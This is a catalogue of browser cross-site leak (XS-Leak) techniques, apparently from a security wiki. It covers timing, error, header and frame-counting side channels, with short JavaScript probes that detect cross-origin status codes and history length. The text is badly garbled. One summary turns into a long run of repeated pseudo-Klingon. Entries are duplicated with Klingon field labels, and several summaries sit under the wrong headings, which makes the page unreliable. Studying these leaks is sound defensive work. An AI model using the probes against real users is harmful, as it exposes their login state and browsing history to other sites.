We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: The duration of timing entries is negative when a redirect occurs.
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Resource protected with CORP do not create resource timing entries.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: Detect if a service worker is registered for a specific origin.
- Code Example:
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: It is possible to check if a resource was stored in the cache.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Using the Performance API it's possible to check if a resource is cached.
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary: It is possible to retrieve the network duration of a request from the
performance
API. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: In Firefox is possible to accurately leak a cross-origin request’s status code.
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
CORS qoH
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
SRI qoH
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
CSP qoH/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header directives can be probed using the CSP iframe attribute, revealing policy details.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header directives can be probed using the CSP iframe attribute, revealing policy details.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB can allow attackers to detect when the
nosniff
header is present in the request. - Code Example: https://xsinator.com/testing.html#CORB%20Leak
Check the link for more information about the attack.
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: If the Origin header is reflected in the header
Access-Control-Allow-Origin
it's possible to check if a resource is in the cache already. - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
In case the Origin header is being reflected in the header Access-Control-Allow-Origin
an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain).
Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *
) this won't work.
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Submitting a request using the Fetch API with redirect: "manual"
and other params, it's possible to read the response.type
attribute and if it's equals to opaqueredirect
then the response was a redirect.
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the contentWindow
reference. In scenarios where COOP is applied conditionally, the opener
property becomes a telltale indicator: it's undefined when COOP is active, and defined in its absence.
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.
If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies (cookie bomb) so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script>
will automatically send the cookies (so you can check for errors).
An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
or to be in the same context is usually needed for this type of attack.
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
According to Chromium documentation, Chrome's maximum URL length is 2MB.
In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.
Therefore if the redirect URL responded is larger in one of the cases, it's possible to make it redirect with a URL larger than 2MB to hit the length limit. When this happens, Chrome shows an about:blank#blocked
page.
The noticeable difference, is that if the redirect was completed, window.origin
throws an error because a cross origin cannot access that info. However, if the limit was **** hit and the loaded page was about:blank#blocked
the window's origin
remains that of the parent, which is an accessible information.
All the extra info needed to reach the 2MB can be added via a hash in the initial URL so it will be used in the redirect.
{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: Qap browser'e' max number of redirects to follow 'ej 20, attacker vItlhutlh 'ej 'oH page vItlhutlh redirects 19 'ej 'oH victim vItlhutlh. vaj 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'oH 'ej 'o
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
Frame Counting
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/frame-counting/
- Summary: Evaluate the quantity of iframe elements by inspecting the
window.length
property. - Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
Frame Counting:
- Qa'vIn: Frames, Pop-ups
- Qa'meH: Page Content
- mIw: https://xsleaks.dev/docs/attacks/frame-counting/
- tIq: Inspect the
window.length
property to evaluate the quantity of iframe elements. - Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
Counting the number of frames in a web opened via iframe
or window.open
might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.
An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed
is used internally. There are Open URL Parameters that allow some control over the content such as zoom
, view
, page
, toolbar
where this technique could be interesting.
HTMLElements
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/
- Summary: Read the leaked value to distinguish between 2 possible states
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
HTMLElements:
- Qa'vIn: HTML Elements
- Qa'meH: Page Content
- mIw: https://xsleaks.dev/docs/attacks/element-leaks/
- tIq: Read the leaked value to distinguish between 2 possible states.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements.
Information Exposed by HTML Elements
- HTMLMediaElement: This element reveals the media's
duration
andbuffered
times, which can be accessed via its API. Read more about HTMLMediaElement - HTMLVideoElement: It exposes
videoHeight
andvideoWidth
. In some browsers, additional properties likewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
, andwebkitDecodedFrameCount
are available, offering more in-depth information about the media content. Read more about HTMLVideoElement - getVideoPlaybackQuality(): This function provides details about video playback quality, including
totalVideoFrames
, which can indicate the amount of video data processed. Read more about getVideoPlaybackQuality() - HTMLImageElement: This element leaks the
height
andwidth
of an image. However, if an image is invalid, these properties will return 0, and theimage.decode()
function will be rejected, indicating the failure to load the image properly. Read more about HTMLImageElement
CSS Property
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Summary: Identify variations in website styling that correlate with the user's state or status.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
CSS Property:
- Qa'vIn: HTML Elements
- Qa'meH: Page Content
- mIw: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- tIq: Identify variations in website styling that correlate with the user's state or status.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
Web applications may change website styling depending on the status of the use. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state.
As a leak technique, the attacker can use the window.getComputedStyle
method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.
CSS History
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Summary: Detect if the
:visited
style is applied to an URL indicating it was already visited - Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
{% hint style="info" %} According to this, this is not working in headless Chrome. {% endhint %}
The CSS :visited
selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the getComputedStyle()
method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the :visited
selector.
Despite these restrictions, it's possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the mix-blend-mode
property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction.
Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis.
For further details on these properties and methods, visit their documentation pages:
:visited
: MDN DocumentationgetComputedStyle()
: MDN Documentationmix-blend-mode
: MDN Documentation
ContentDocument X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Headers
- More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Summary: In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions.
- Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
In Chrome, if a page with the X-Frame-Options
header set to "deny" or "same-origin" is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of null
) for the contentDocument
property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user's state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks.
Download Detection
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Summary: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar
The Content-Disposition
header, specifically Content-Disposition: attachment
, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior:
- Download Bar Monitoring:
- When a file is downloaded in Chromium-based browsers, a download bar appears at the bottom of the browser window.
- By monitoring changes in the window height, attackers can infer the appearance of the download bar, suggesting that a download has been initiated.
- Download Navigation with Iframes:
- When a page triggers a file download using the
Content-Disposition: attachment
header, it does not cause a navigation event. - By loading the content in an iframe and monitoring for navigation events, it's possible to check if the content disposition causes a file download (no navigation) or not.
- Download Navigation without Iframes:
- Similar to the iframe technique, this method involves using
window.open
instead of an iframe. - Monitoring navigation events in the newly opened window can reveal whether a file download was triggered (no navigation) or if the content is displayed inline (navigation occurs).
In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user's authentication state based on the browser's response to the download request.
Partitioned HTTP Cache Bypass
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Summary: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
{% hint style="warning" %}
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
, but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
{% endhint %}
If a site example.com
